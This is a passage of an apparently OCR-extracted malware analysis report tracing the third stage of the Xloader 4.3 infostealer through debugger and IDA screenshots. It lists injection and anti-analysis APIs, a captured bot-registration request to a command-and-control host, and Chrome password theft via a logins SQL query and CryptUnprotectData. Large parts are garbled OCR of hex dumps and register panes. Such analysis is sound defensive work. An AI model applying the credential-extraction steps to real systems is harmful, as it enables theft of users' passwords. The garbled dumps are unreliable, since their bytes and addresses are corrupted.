-text

1BB5FEYA@ push 3eh ; "6’

7B634650 8B EC GA FF 68 B@ F3 EB8 77 FF 7¢ ||EDX 008000008 L
1B 69 76 CC CC CC CC CC CC CC CC C¢ ||ESI@LBFFA64 & Stack|

_text:@@SFE9A2 push @ =
eTeTERT e 8B FF 55 8B EC 6A FE 68 60 23 6A 70 ||gpre1eFFaos & stack[e
_text:@BSFEQAS lea esi, [eax+2AAsh] 76 64 Al 98 00 68 60 56 51 51 83 E( || 55 61pPEIDe M Stack[@
o 7140 01 6C 75 3145 F8 33 Csse sl ||l T
e s @6 @@ B0 @@ 53 40 AC FF 83 4D 9C Ff o -
_text:@@SFE9AD call  sub_SFF2B3 83 65 A4 0@ 83 65 C8 09 83 65 DC & | |EIP Y sub_
e BBSFEaRD ey cde Febprorg 2] 53 65 E@ @@ 53 65 E4 0@ 83 65 B4 &¢ ||EFL0E00B205
ot BOSFEADS mow cax. [esi] 83 65 D4 @@ 83 65 D& @@ 83 7D @C o
e s o o 88 15 60 76 80 45 BC 83 65 FC @8 &l
ST IR M i 45 £4 5@ 8D 45 C8 58 8D 45 BS 5@ [
ot s ooorEon ST 45 84 5@ 8D 45 CC 58 88 55 @C &8 4
T = FF EF 80 45 DC 83 7D DC @@ 7D @D Fi
i TEERE o chp 78 FF FF E9 59 @2 @@ @@ 83 7D E4 o _
ot .BOSFEADF een @6 @6 3B 45 (3 83 4@ 38 89 45 D8 8t ||[O] Stackview
.text:@B5FE9BF sub SFE993 endp 12 oy AP 5 <5 18 55 @) 45 20 45 Y @18FE9BC
gl E4 @3 45 C@ 38 45 E4 72 19 8B 45 Di i

AD E4 @3 4D C@ 38 C1 77 @9 (7 45 9

B @4 B3 65 98 @@ BF B6 45 98 85 Ci ;Sg;ég:é

@6 @6 (o E3 38 78 FE FF EO F4 @1 of

88 @@ 80 45 BA 83 7D B4 @1 OF 86 3 580000009

45 D@ 5@ 8B 4D BA 49 6A 48 54 ES 7 B167ESSC

45 4P 83 7D AP 8@ 7D OF 68 3E 8@ 8 HLIAET

FF FF EO BA @1 @@ 0@ 85 45 D8 83 Ci SEEEESEE

8B 45 E4 3B 45 (4 77 2F 80 45 (4 @ ooonoas

FA 97 AA OD AC CA A3 AT rA 3D AC £

Stage 3: Partially Decrypted Xloader 4.3

Before resumingthe thread on injected process. | have attached x32dbgto the victim process to continue
debugging further. In the EAX register, the address of xloader injected code is already set by stage2
malware. So, | just jumped to address in disassembly and added breakpoint on it. Then from the stage2
malware | allowed the malware to continue hence resuming the thread on stage3. Stage2 malware has
exited and we have debugger attached to the entry point of stage3 malware which | will continue from

here.

This whole execution flow is very similar to stage2 malware. So, | will move forward with only key

details in this section:

Defeating Anti-Analysis:

Xloader has decrypted some of its functions and now migrated to the process msiexec.exe (which
was chkdsk.exe in previous examples)

Before resuming the thread, I've attached debugger to the injected process and continued my
analysis from there.

This is the same cycle being repeated first.

| have to defeat anti-analysis techniques again

Similar to stage2 | have bypassed anti-analysis techniques again and correct sequence of bytes
have been generated as highlighted below



Bicru | [Jlog  [Hnotes  ® Breskpoints | B MemoryMap | [ CallStack @@ SEH | o] Soipt | %l Symbols | <> Source | O References | ' Threads

0ZED7G50

mov ebp,esp
mov eax,dword ptr ss:[ebp+all

cmp byte ptr ds:[eax+2D],0
jne ZED7&IF

02ED76E5C
cmp byte ptr ds:[eax+2E],0
je 2ED769F

02ED7662
cmp byte ptr ds:[eax+2F],0
je 2ED769F

02ED7G638
cmp byte ptr ds:[eax+30],0
jne 2ED769F

0D2ED7GEE
cmp byte ptr ds:[eax+31],0
jne 2ED769F

02ED767 4
cmp byte ptr ds:[eax+32],0
je 2ED769F

0ZED7650

0ZEDALLlGE

Wybump1i WWDump2  YWDump3  @WDump4  EWDump5 8 watch1  bellocals & Struct

0ZE9EF14
0ZE9EF24
0ZE9EF34

0ZE9EF44 58 EF E9 02

0ZE9EF54 FF FF FF FF

0ZE9EF64 00 00 B2 F7

0ZEQEFT4

0ZE9EFB84

0ZE9EF94| 00 00 00 00(00 00 00 00|00 00

0ZE9EFA4 |00 00 00 00|70 63 05 38|63 01 67 54|06 26 8D F9 .8c.gT.&. U

OZE9EFE4|BA 4B 71 34|8D 20 75 58|77 OB 27 BL1|33 70 9F CB|°Kg4. uXw. +3p.E
0ZE9EFC4|7D &3 06 3B|5F F3 CA S53|F7 71 E9 73|12 DB A9 ES }c.;‘_éEEﬁqég.Feé
02E9EFD4| 4B 12 28 3A|EQ F7 E7 04|38 2E CO E2|8D 3E 9E ED|K.(:as¢.;.Ad.>.i
OZE9EFE4|D3 32 D1 Al|49 D5 D3 42|99 43 OF EC|B8 82 3C 75 |02N;IO0B.C.I .<u
D2E9EFF4 (53 D7 0A D2|FE F5 4B 78(7A D6 31 DD|A6 56 71 C3|Sx.0pdKkxz01v,vgh
0ZE9F004|91 OC 26 E4|08 96 65 88 A6 CC 8B 90|BE8 2E FE 8C|..&d..e. I.. .p.
02E9F014|84 91 22 3E|20 6C 7A 49|01 96 B8 75|8F 75 DE 6D|.,"> 1zI.. u.ubm

Ci i |ED ds are comma separated (like assembly instructions) : mov eax, ebx

Decryption/Deobfuscation:

¢ This injected stage3 payload performs the same initial steps.
e It performs anti-vm techniques and checks
e Decrypt further library names and load using LdrLoadDIl
e Decrypt APl names and match hashes. Finally load those APIs from the injected fresh copy of ntdll
¢ Afew of the APIs that it uses for Process Injection are resolved:
% LookupPrivilegeValue
% SeDebugPrivilege
< NtAdjustPrivilegeToken



Hi

EAX 00000000

EBX 0ZDE3000

ECX 0000024C L'R"

EDX D4ES2FBO

EBP DZESEEAC

ESP DZESEESC

ESI  D2E9F984 "o fA\X04"

EDI 00B69350 <msiexec.EntryPoint>

EIP D4ES2FBO

% 104 - ntdll.dll C:\Users\shaddy\Desktop\ntdil.dil

File Edit Jump Search View Debugger Lumina Options Windows Help

D4EE2FEO
mov_edx,4E68A40
18

Ewavewa B  Clrexview-1] [l stucwres (1 [E ewms [ F2 mports (] [ Exports

LdrpCorlnitialize|

LdrpGetProcedur Iﬁ

Ldrwa.me‘.l'o()rd.i 3 Exported entry 222. NtAdjustPrivilegesToken
LdrpInitShimEngi ; Exported entry 1767. ZwAdjustPrivilegesToken
LdrpLoadShimEr
LdrpSendShimEn
LdrpInitializeShin
LdrpGetShimEngi 3 _ stdcall ZwAdjustPrivilegesToken(x, x, x, x, %, X)
LdrGetProcedure public _ZwAdjustPrivilegesToken@24

LepLoadDlCx, _ZwAdjustPrivilegesToken@i24 proc near

A sl

mov eax, 41h ; 'A' ; NtAdjustPrivilegesToken

"‘"ﬂ“""c""h’;' mov edx, offset _Wowb4SystemServiceCall@® ; Wows4SystemServiceCall()
call edx ; Wowe4SystemServiceCall() ; WowB4SystemServiceCall()
retn 18h

_ZwAdjustPrivilegesToken{@24 endp

7 struct fca 0 & x

Indicator Removal:

¢ It will delete the stage2 malware with following sequence of APIs
** NtCreateFile
*» NtQuerylnformationFile
+ NtReadFile
¢ NtClose
s ZwDeleteFile



O4E530F0

‘ IDA - ntdIlLdll C:h\Users\shaddy'\Desktop\ntdIldll
File Edit Jump Search View Debugger Lumina Options Windows Help

L AL L T RN T T A b
N [ ]

Library function [l Regular function Jll Instruction | Data || Unexplored | External symbol [l
Fm 0 & x| [Eloaven-aB  [SlrexviewD (Al stuctres [ En

=]

."
c
5
2,
o
E]
3
m
>

ecx=04E530F0 FileHandle= dword ptr 4

LdrpCarInitialize DesiredAccess= dword ptr &
LdrpGetProcedur ObjectAttributes= dword ptr @ch
LdrpMameToOrdi IostatusBlock= dword ptr 18h
LdrpInitShimEngi AllocationSize= dword ptr 14h
LdrpLoadshimEry FileAttributes= dword ptr 13h

| droSendShime: ShareAccess= dword ptr 1Ch
CreateDisposition= dword ptr 28h

02EEC3AD

Woump1  Whpump2  WMDump3  Wypump4  WUDumps @ wattht  Dellocls P s

0D2E9E6GCC | 40
D2E9E6GDC | 40
D2E9EGEC | 00

a,
a,

eXTe.eue. NETw
T.o.L. .

WE. ..

i\II‘\II‘\I\‘\I\‘\I\‘*II‘*II"«II‘»II*II*»I

D2E9EGFC LdrpInitializeShin CreateOptions= dword ptr 24h
LdrpGetShimEngi EaBuffer= dword ptr 28h
LdrGetProcedure EalLength= dword ptr 2Ch
LdrpLoadDII(x,x,
02E9ETSC| 00 00 00 00 1 ArnBilASustem
02E9E7EC| 00 00 00 0O > mov edx, offset _Wows4SystemServiceCall@e
0ZE9EF7C| 00 00 00 00 . : .
e E Do |lopRooRnaRon call edx ; I:'lm'lﬁdsystenServlte(all() ; Wowb4
R om0 e x| tresserineged
0ZESEFAC| 00 00 00 00 Gag O & X NtCreateFils end
0ZESE7EC| 00 00 00 00 i - P
0ZE9EFCC| 00 00 00 00
N2FIE7DC I 00 00 (0 00

Commands are comma separated (like assembly instructions): mov eax, ebx

Process Injection:

e The next series of APIs being used are:
% NtCreateSection
% NtMapViewOfSection
< NtAllocateVirtualMemory
< NtOpenProcessToken
% NtQueryInformationToken
«»+ ConvertSidToStringW
< NtAllocateVirtualMemory
e Itis preparing another shellcode to inject further in some process. There are a few more RWX
sections created in the memory of infected process



Hide free regions

Base address Type Size Prutgct. . Use Total WS Private WS S
0x3005000 Private: Commit 12kB RW+G Stack (thread 2128)

0312000 Private: Commit 8kB RW4G Stack 32-bit (thread 2128)

03165000 Private: Commit 12kBE RW4G Stack (thread 2020)

0345c000 Private: Commit kB RW+G Stack 32-bit (thread 2020)

0x4bb 5000 Private: Commit 12kB RW4G Stack (thread 3132)

Ox4b o000 Private: Commit 8kB RW+G Stack 32-bit (thread 3132)

Ox4c35000 Private: Commit 12kB RW4G Stack (thread 6738)

x4 Fc000 Private: Commit 8kB RW+G Stack 32-bit (thread 67588)

Oxb&0000 Mapped: Com... Sa kB RWX 56 kB

Oxb&fi00 Mapped: Com. .. 12kB  RWX 12 kB

Oy 2ed0000 Mapped: Com. .. 180 kB RWX 180 kB

0200000 Private: Commit 28kBE RWX 24kB 24 kB
420000 Mapped: Com... 180kE RWX 180 kB

Ox4ce0000 Private: Commit 572kB  RWX 572kB 572kB
Ox4de0000 Private: Commit 3,376 kB RWX 3,370 kB 3,376 kB
Ox5130000 Private: Commit 572kB  RWX 52kB 52 kB
0x2bd0000 Private: Commit 4kB RX 4kB 4kB
0x2be0000 Private: Commit 4kE RX 4kB 4kB
Oy 2bfO000 Private: Commit 4kE RX 4kB 4kB
0210000 Private: Commit 4kE RX 4kB 4kB
0x2f20000 Private: Commit 4kB RX 4kB 4 kB
0 2f30000 Private: Commit 4kB RX 4kB 4 kB
Ox6cfF1000 <

System Information Discovery:
e ltretrievesthe systeminformation fromthe Registry like the "Product Name", " CurrentBuild" of
OS etc
+* NtCreateKey
+ NtQueryValueKey



MU L0 A miiom oo s L EAMIEWSL G L SWUGWISS G Lol SIS G L03) MONS o (S CARUIS G
Function na
LdrpCorl
LdrpGetf
LdrpNam
Lrplnits ; Exported entry 381. NtCreateKey
Lrploac ; Exported entry 1846. ZwCreatekey
LdrpSent
Ldrplniti
4ES2D70 LdrpGets
LdrGetpr 5 _stdcall ZuCreateKey(x, X, X, X» X, X, X)
mov_edx, 4EG8A40 LerpLoac public _ZwCreateKey@2s
e LeroBul _ZwCreatekey@28 proc near
rpBuic eax, 10h 3 NtCreatexey
RiiQuery edx, offset _liowsdSystemServiceCall@e ; WowG4SystemServiceCall()
RiQuery edx 5 emServiceCall() ; mServiceCall() 000
LdrpCorf 1ch g
Avrole | ZwCreateKey@28 endp oo
LdrpCort 000
RiDelete s
RiDelete 000
Deletatic ¥
>
100.008) (158, 5) (415, 3571 00072172 ized with Hex View-1) 5
=] output window 0O & x
ina: Invalid remote certificate ~
The ial autoanalysis has been finished. |
cach Exports ol v

5 @ wawch1  Ixcllocas ) stuet

Dynamic Library/API resol

e Loading libraries wininet.dll

ution:
using LdrLoadDlI

return to 02EECSCF from 277

L™\\Registry\\Machine\\ SOFTWARE\\M1crosofti\windows NT\\Currentversion"

return to 02EDCEE? from 02EEC530

Callstack  SuseH  [of swipt  Esymbos <2 source
ush edi
2EEE450
mov eax,dword ptr ds:[ebx+20]
add ebx,z0
mov dword ptr ds:[edi+244C],eax
mov ecx,dword ptr ds:[ebx+a:
lea eax,dword ptr ss:|febp-C|
mov dword ptr ds:[edi+z4B0],ecx
mov edx,dword ptr ds:[ebx+8] ; [ebx+8]:"edi= 1"

2ED
push E7CCO4F
mov_dword ptr ds:[edi+1F24],eax
€all 2ep1060

mov ecx,dword ptr ss:[Jebp+sl
mov edx,dword ptr ds:[ecx+3CC]
push

mov dword ptr ds:[edi+3F43],eax

Process Enumeration & In

4 References W Threads B Handies

i"i Trace

jection:
will be in "explorer.exe".

It enumerates all the process by looping through the list of processes

e Looks like the next injection
[ )
"NtQuerySysteminformation"
e NtCreateMutant
o NtCreateSection
¢ NtMapViewOfSection
e NtDelayExecution
¢ NtAllocateVirtualMemory

Hide FPU
EAX  07A2F9A0 “wininet.d11"
EBX  O2E9EF78
ECX  77B17000
EDX  77B&DDFO <ntd11.LdrLoadD11>
EBP  D7A2F9AC
ESP  07A2F984
ESI 051C0000
EDI  07A30000
EIP O2EEB626
EFLAGS 00000206
ZF O PF 1 AF O

CFO0 TFO IF1

Lastérror 00000057 (ERROR_INVALID_PARAMETER)
LastStatus CO00000D (STATUS_INVALID_PARAMETER)

GS 00ZB F5 0053

ES 00ZE DS 0028
£= N33 =S AnzA

returned by



; | 2 Hide FPU
] ¥
! — EAX  02E9ESBC "explorer.exe"
CZEniag EBX  0D02C3FO
lea eax,dword ptr ss:lflebp-150f ECX 00000000
pagn ég; EDX  02E9E400
meal 2eceaso EBP  D2E3EASC - .
lea ecx,dword ptr ss:[febp-630] ESE  02E9EL30 &"explorer.exe
push ecx ESI 0ZE9EF58
lea edx,dword ptr ss:[lebp-150] EDI 0ZDE3000
push edx
! €all zEEEAGD EIF  0OZEDIO7C
I add esp,10
| lea eax,dword ptr ss:[lebp-1350J EFLAGS a00002032
i [Tl G ZF O PF O AF O
gﬂgn .eE__ OF 0 SF O DF O
€all 2ee77co Gs @ TF @ iz E
add esp, 8
push ;§;° LastError 00000000 (ERROR_SUCCESS)
€all 2EE7s20 LastStatus CO000034 (STATUS_OBIECT_NAME_NOT_FOUND)
ardd acn o

o) Detect Injection

PID Process Name Memory Region Size
748 x32dbg 100466688 Bh536
Wireshark - Packet 75 - ens33 - o X

+ Frame 75: 253 bytes on wire (2024 bits), 253 bytes captured (2024 bits) on interface ens33, id @
» Ethernet II, Src: VMware_7a:f8:90 (00:0c:29:7a:f8:90), Dst: VMware_c9:e3:74 (00:0c:29:c9:e3:74)
» Internet Protocol Version 4, Src: 192.168.40.128, Dst: 192.168.40.129
+ Transmission Control Protocol, Src Port: 50243, Dst Port: 80, Seq: 1, Ack: 1, Len: 199
~ Hypertext Transfer Protocol
v GET /ip45/?FrsBV1=61X0MzEqTLOkm2CFi50dbPoboYYnoU1fZBjqVvY6Ug2gSpdlVjqERIM+AXUgFgwZdwépXiefmgDK3UKUvUOzPOienhyZ1hQL1Q==&gcg=k11ECYMOrWT HTTP/1.1\r
Host: www.twin68s.online\r\n
Connection: close\r\n
Ar\n
[Full request URI: http://www.twin68s.online/ip45/?FrsBvY1=61X0MzEqTLOkm2CFi50dbPobaYYnoU1fZBjqvvY6Ug2gSpdlVigERIM+AXUgfgwZdwbpXiefmgDK3UKUvUOzPA1
[HTTP request 1/1]
[Response in frame: 78]
~ Hypertext Transfer Protocol
» Data (7 bytes)

‘ v
0000 00 Oc 29 c9 e3 74 7a f8 90 88 00 45 00
0010 @0 ef 45 87 40 00 80 06 e2 2f cO a8 28 80 cO aB - -
020 28 B1 ¢4 43 @0 50 cb ac 79 85 ed 85 c2 36 50 18 (- -C- yoo o8P

6 04 02 99 79 00 00 47 45 54 20 2f 69 70 34 35 2f ...y .GE T /ipd5/
3f 46 72 73 42 56 31 3d 36 Gc 56 4f 4d 7a 45 71 ?FrsBVi= 61XOMzEq

54 4c 30 6b 6d 32 43 46 69 35 4f 64 62 50 6f 62  TLOkm2CF i50dbPob Sent Through
6f 59 59 6e 6f 55 31 66 5a 42 6a 71 56 76 59 36  oYYnoU1f ZBjqvvY6
55 67 32 67 53 70 64 6c 56 6a 71 45 30 49 4d 2b  Ug2gSpdl VjQE®IM+ Explorer.exe

41 58 55 71 66 67 77 5a 64 77 36 70 58 69 65 66 AXUgfgwZ dwbpXief
6d 71 44 4b 33 55 4b 55 76 55 4f 7a 50 30 69 65 mgDK3UKU vUOzPOie
6e 68 79 5a 6c 68 51 4c 6c 51 3d 3d 26 67 63 67 nhyzlhQL 1Q==&gcg
3d 6b 31 6c 45 43 59 4d 4f 72 57 54 20 48 54 54 =k11ECYM OrWT HTT
50 2f 31 2e 31 0d Ga 48 6f 73 74 3a 20 77 77 77 P/1.1--H ost: www
2e 74 77 69 6e 36 38 73 2e 6f Ge 6c 69 Ge 65 od .twin68s .online-
©a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6F -Connect ion: clo
73 65 0d Ga Od Da 8@ 0O 00 60 0O @0 0O SEeceree senen

Botnet registration:

¢ The data it collects and sends in the first request is provided below:
e The Magicword: XLNG

e BotID: 202293EF

e Xloader Version: 4.3

e 0S:Windows 10 Enterprise x64

e Username: base64 encoded



mov_dword ptr ss:llebpral,eax ;
all 2eeE420

push ebx

lea eax,dword ptr ss:[lebp-323])

push eak ; eax:™\\\n’ gqacAM \T\wzpkouyre
Tea e:x dwnr‘d ptr ss:lfebp-zach

Eain seeerso

mov ebx,dword ptr ss:lfebp+ a] :
add ebxdword ptr sz:febp-ad
fea o dmerd oo ZifeRneed

[ebpts

[ebp+s

ecx
Tea edx,dword ptr ss:

push edx ; edx:"c2hhZeRs
€all 2EDEOSO

ficbp- 3acl
push eax \\\n® QTAGAMNF\vZpkOGTFe "
Tea ecxuora per oo (et 211]
push ecx
€all 2e0A990
push esi
€all 2eeecz0
Tea edx,dword ptr ss:[febp-125]
push 80
push edx ; edx:”c2hhZeRsS
mov_dword ptr ds: [edi+D5],eax ; eax:"
meall 2eee4s0
2dd’esp, 40
gword ptr ds:[edi+4081,26 ; 26: &'
decrypted
function

indicator

pop esi
mov eax,1 ; eax:”

\\\N’ GTABAMT\VZPKOUYH
op ebx
mov esp,ebp

pop ebp

ret

\\\n' g 45AM\ F\VZpkbiGvFE "

Hide FPU

RC4 encrypted——""] Eg;
data ESI

EFLAGS

Lasterror

G5 0028

<

EAX 00000043

v

EDI  051C2000

EIP  02ED4DEC

ZF 1 PF1 AF O
OF 0 SF O DF O
CFO TFO IF 1

ES 0028 D5 002E
Cs 0023 S5 0028

Defau\t (stdeal)

ST(D) 000000D00CODDO0O00O0 XB7rD
ST(1) 00000000D0000DO0000D X87rL
ST(2) 00000000000000000000 X87r2
5T(3) 00000000000000000000 X87r3
ST(4] 00000D0OOODO0OODO0OD XB7rd
ST(5) 00000000000000D0000D X87FS
ST(6) 00000000000000000000 X87r6
ST(7) 000000DO0CODDO000000 X87rT

00000000 (ERROR_SUCCESS)
LastStatus COO00034 (STATUS_OBIECT_NAME_NOT_FOUND)

Empty
Empty
Empry
Empty
Empty
Empty
EmpTy
Empty

'XLNG: 20229344, 3qWindows 10 Enterprise x:
KT2:X308+MECDOZ !

EQRRQIE k3+NNFITEE]y32R 7T IMexS /6Yyxzh0qara7 S8 TT

Xloader
version info

000000000000000000
000000000000000000
000000000000000000
000000000000000000
000000000000000000
000000000000000000
000000000000000000
000000000000000000

Plaintext data,

@ Watch 1 Ix-llocals 4 Struct

[esp] 02690984 “XLNG:
[espr4] 00000080
[=sD+8] 051C250C "PKT2:X3Q8+MECD0ZCHWBQRRQ IS K3 +NNFMTEEiY32R711MexS /6YyXx2h0gorq7esT

051C2511 "X3@8+MECDOZCHWBQRRQ]S K3+NNFMTE6]y32R 71 1MeXs /6YyXZh0q9rq7 85 IT3LD+
[=spw—10] 0ZE3DT30

10 Enterprise Xed:™

02E9D0ED
SDOE+ | 051C250C

>

ascIT

Stealer:

0512511 |

"PKT2: X308+MECD 0z CHWBORRQJ5K3+NNFIT66]y32R 71 IMEXS /6YyXzh0q9rq7 85 IT3LD +E /PZ "
‘X3@8+mECDOZ CHWEQRRQ IS k3+NINFMTE6]y32R 71 1MexE /6Yyxzh0qdrQ7 85 IT3LD+E/Fz "

02E9011C
02E90120
02E30124
n2Fen12a

anzn0s 2

e Xloaderis an infostealer and form grabber.

for in different paths to fetch and steal the data

12:44: . msiexec.exe 6732 v CreateFileMapp ...C:\Windows\SysWOWE4 wininet dll

12:44: MSIEXEC.exe 6732 2 Load Image C:\Windows\ SysWOWE4 wininet dil

1244 msiexec.exe 6732 ' QueryMNamelnfo...C:\Windows\Sys\WOWE4 wininet dll

1244 msiexec.exe 6732 ' CreateFile C:\Windows\SysWOWGE4 wininet dl

12:44: msiexec exe 6732 'ru CloseFile C:AWindows\SysWOWE4 wininet dil

12:45: msiexec.exe 6732 ' CreateFile C:\Windows\SysWOWE4 wininet dil

12:45.. msiexec.exe 6732w QuerySecurityFile C:\Windows\Sys WOW64 wininet dll

12:45:... msiexec.exe 6732 'va QuenySecurityFile C:\Windows \SysWOWE4 wininet dil

12:45: msiexec.exe 6732 ' CloseFile C:\Windows\SysWOWE4 wininet dil

1:04:2.. jjmsisxec.axe

<

Showing 24 of 2,768,886 events (0.00086%) Backed by virtual memory

7 CHECEER] 02EDCEES |
Woumps | @ watth1  bellocals 4 Struct DeEpeese
02EIEOFS

2 00 36 00 ?Iu 8.1.2 - 00020219
3 00 31 00|9. T1.0.0. 0ZESDE40 | 0ZEIDCEE
1 00 52 0o Y. TiW. A, 0ZE30544 | 00000000
= oo 73 o0 E‘ Eobomn 0ZE30543 | 00000000
: 00 64 000, R 0ZES0 84C | 00000000
- oo 43 oolo. NI 02E30 850 | 00000000
5 00 65 00|u. TnLtLv 02E9085 4| 02EIDC SO
7 00 63 00|r. TR LW 0ZEZ0E5 3| 0ZEIDSBO
> 00 &5 00|n. s. M. 02ES0E5C | 00000200
7 X Ti.n.g. 02E9D860 | 02E9DBBO

HEEr R 02ZESDE64 | 02ZE9DCDE
; 33 22 33 .ﬁ ZiE 02E908 000001 2E
00 6F 00|e. w1l 02E5086C | 02EIDEDS
3 00 00 000 e 0ZE9D870 | 02E9D882
5> 00 00 00 - soooaz E’fEED 00000000
> 00 00 0ol R e

6732 'Heg&ealeKey HECLUNSOFTWARE \Microsoft \Windows NT\CumentVersion\Windows Messaging Subsystem'\Profiles\Outlook '

"RNAN gAOAM\F T\ vZpkOUTFE
"czhhZ&R5™

SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS
SUCCESS

BUFFER OVERFLOW

SUCCESS
SUCCESS

NAME NOT FOUND

"XLNG: 202293EF4. 2:Windows 10 Enterprise x6

'XLNG: 202293EF4. 3:Windows 10 Enterprise x6.

full encrypted
data

After registering the device, it looks for all the things it could steal from the victim
There are a large number of email clients, browsers, ftp clients, messaging apps that it tries to look

SyncType: Sync TypeOther

Image Base: («73c70000, Ima
Name: "Windows"\Sys\WOWE4|
Desired Access: Generic Read

Desired Access: Read Control,
Information: Owner
Information: Owner

Desired Access: Read

return to DZEDCEBY from DZEECS 90

L"™\\RegisTtry\\User\\S-1-5-21-3847139605- 2422517245 -208126947 -1001\\ SOFTWARE '\ \Mi crosof T\ \window:

L™\ \Registry\\User'\\5-1-5-21-3847139605-2422517245-208126947 - 1001\ \ SOFTWARE " \M1crosofty, \Window:
L"™\\Registry\\Usery\5-1-5-21-3847139605-2422517 245 -208126347 - 1001\, SOFTWARE, \Mi crosoft\,\window:

L"™\\RegisTry\\User\\5-1-5-21-3847139605- 2422517245 -208126947 -10011\\ SOFTWARE ', \Mi crosof T\ \window:
L"Registry\\User\\S-1-5-21-3847139605-2422517245-208126947 -1001\\ SOFTWARE\ \Microsoft\\windows |



Hide FPU

02EE488E

v ebx, dword ptr ss:[ ebprcl EBX 00000016
EDX  02E90A00

emp ebx, 16
jne 2EE46FF

0ZEIDA4S &L"C:\\Users\\shaddy\\AppData\‘Local\\Google\\Chrome\\User Data\\Default\\Login Data"
EDI  D530095C
02EE4GFF 02EE46C0
cmp ebx,1024 push 1
Tea edx,dword ptr ss:[ebp-6sg]
h 2z

EIP  D2EE46ES

jne 2EE4794 EFLAGS 00000206
ZF 0 PF 1 AF O
OF 0 SF 0 DF O
CFo TFO IF1

add esp, 4
Tea eax,dword ptr ss:Qebpreax+2-683]
push eax Lasterror 00000000 (ERROR_SUCCESS)
ush esi Laststatus 00000000 (STATUS_SUCCESS)

2EDB4FO
Tea ecx,dword ptr ss:[ebp-css] GS D0ZE FS 0053
push e ES 002 DS 0028

€s 0023 35 0028

xor edx,edx
mov word ptr ss:ebp+eax:2-6ac],dx
jmp ZEE4794

ST(0) D0D0OD0O0ODO00000D0D XS7FO EMPTY O.000000000000000000
ST{1) 00DOODODOOOODOODO00D X87r1 EMPTy O.000000000000000000
ST(2) 00DOODODOOOODO0D000D X87r2 EMPTy O.000000000000000000
ST(3) 00000000000000000000 x87r3 Empty 0.000000000000000000
ST(4) 00000000000000000000 x87r4 Empty 0.000000000000000000
5T(5) 00000000000000000000 x87r5 Empty 0.000000000000000000
ST(6) 3FFFS000000000000000 X87r6 EMPTY 1.000000000000000000
ST(7) BFFFS000000000000000 XS7r7 EMPTY -1.000000000000000000

02EE470B.

w

push ecx
Tea edx,dword ptr ss:[febp-s6]
push_edx

[esp] 0ZESDAG4 L'C:\\Users\\shaddy' ‘AppData\\Local\\Google\\Chrome\\User Data\\Defaulty\Login Data"
4] OZE9EFSE

{525’15} DZESDAJE L'"\\Google\\Chrome\\User Data\\Default\\Login Data"

esi 00000023

¢ Ifitfinds anything, it then tries to steal that data

e Like in case of chrome, it founds login data and it will fetch the data using sqlite3 queries

e Ituses winsqlite3.dll to extract passwords

e The query is "SELECT origin_url, username_value, password_value FROM logins"

e Itdecrypts that data using crypt32.CryptUnprotectedData from the key found in local state

Hide FPU
|Eax  oszicesc | “sELECT origin url, username value, password value FROM logins'
Test_eax,eax EBX  0ZE9EFSE
jne 2EE44FF ECX  032013¢8
EBX  5AT4s0 | awinsqlites.sqlites_prepare_vas
EBP  02EGDAL4
ESP  02EIDALA
D2EE4469 ESI  0321CDE0
ou' st auers prr <cifery a1 I G Cisersi\anadd\\apeoasa\ osaT Tenp L spkTs
mov ecx,dword ptr ds:[esi+3AC] ; ecx:"e0f: "

ushijjend EIF  02EE445F
ecx
cmp eax, 64 ; G4:'d

§ne 2ecaarF EFLAGS 00000246

ZF 1 PF 1 AF O
OF 0 SF O DF O
CFO TFO IF1

LastError 00000087 (ERROR_ALREADY_EXISTS)
LastStatus 00000000 (STATUS_SUCCESS)

G5 D028 FS 0053
ES 0028 DS 0026
€S 0023 g3 0026

ST(0) 00000000000000000000 XE7r0 EMPTY
ST(1) 00000000000000000000 X87rl EmMpTy
ST(z) 00000000000000000000 Xx87r2 Empty
ST(3) 00000000000000000000 X87r3 Empty
ST(4) 00000000000000000000 x87r4 Empty
5T(5) 00000000000000000000 X87r5 EMPLY
ST(6) 3FFFE000000000000000 X87r6 EMPTY
ST(7) BFFFE000000000000000 X87r7 EMPTY

O2EE447E
mov edi,edi

| rOooODO

02EE4480
mov edx,dword ptr ss:[Qebp-sl Default (stdcall)

mov eax,dword ptr ds:[esi+388] Tesp] 03IZ613CE

push o [esp+4] 0321CEBC "SELECT origin_url, username_value, password_value FROM logins”
[esp+8] FFFFFFFF

e: 90,




EAX GD5A1060 <winsqlite3.sglite3_step>
EBX  6D5SA00D00 Mz

ECX  6D63C578 winsqlite3.&D63C578

EDX  000O0ODED %'

EBP  02E9DALS

ESP  02E9D988

ESI  0321CDED

EDI  02E9EFTS

EIP 0OZEEADDE

EFLAGS 00000283
ZF 0O PF O AF O
OF 0O SF 1 DF O
CF1 TF O IF1

LastError 00000000 (ERROR_SUCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

GS 002B FS 0053
£S5 002E DS 002B
CS 0023 55 0028

ST(0) 00000000000000000000 EmpTy 0.000000000000000000
ST(1) 00000000000000000000 EmMpTy 0.000000000000000000
ST(2) 00000000000000000000 Empty 0.000000000000000000
ST(3) 00000000000000000000 Empty 0.000000000000000000
ST(4) 00000000000000000000 Empty 0.000000000000000000
ST(5) 00000000000000000000 Empty 0.000000000000000000
ST(6) 3FFFS000000000000000 Empty 1.000000000000000000

ST(7) BFFFS000000000000000 7 Empty -1.000000000000000000

<

Default (stdcall)

1: [esp] 4AB431F7

esp+4] 02E9EF78
esp+8] GD63C148 "¥Ch\T™
[esp+C] 00000000
[esp+10] 00000000

”VI

EAX  7761AS8B0 <crypt3z.Cryptunprotectbatas
EBX  D2E9EFSS

ECX  776893E0 crypt32.776B93E0

EDX  OO00DDOOFA o

EBP  02E9DALS
ESP  02EIDICS
ESI  0321CDE0
EDI  02E9EFTE

EIP D2EEAESE

EFLAGS 00000212
ZE O BE O AE 1
OF 0 SE O DF 0
CEO0 TFO IF1

LastError 00000000 (ERROR_SUCCESS)
LastStatus 00000000 (STATUS_SUCCESS)

G5 002B FS 0053

ES 002B [QS 002B

C5 0023 S5 002ZB

ST(0) 00000000000000000000 XS7r0 EMpTY O.000000000000000000
ST(1) 00000000000000000000 X87rl Empty 0.000000000000000000
ST{2) 00000000000000000000 x87r2 Empty O.000000000000000000
ST(3) 00000000000000000000 X87r3 Empty O.000000000000000000
ST(4) 00000000000000000000 X87r4 Empty O.000000000000000000
ST(5) 00000000000000000000 XS87r5 EMPTY O.000000000000000000
ST(6) 3FFF8000000000000000 Empty 1.000000000000000000
ST{7) BFFF3000000000000000 x87r7 Empty -1.000000000000000000

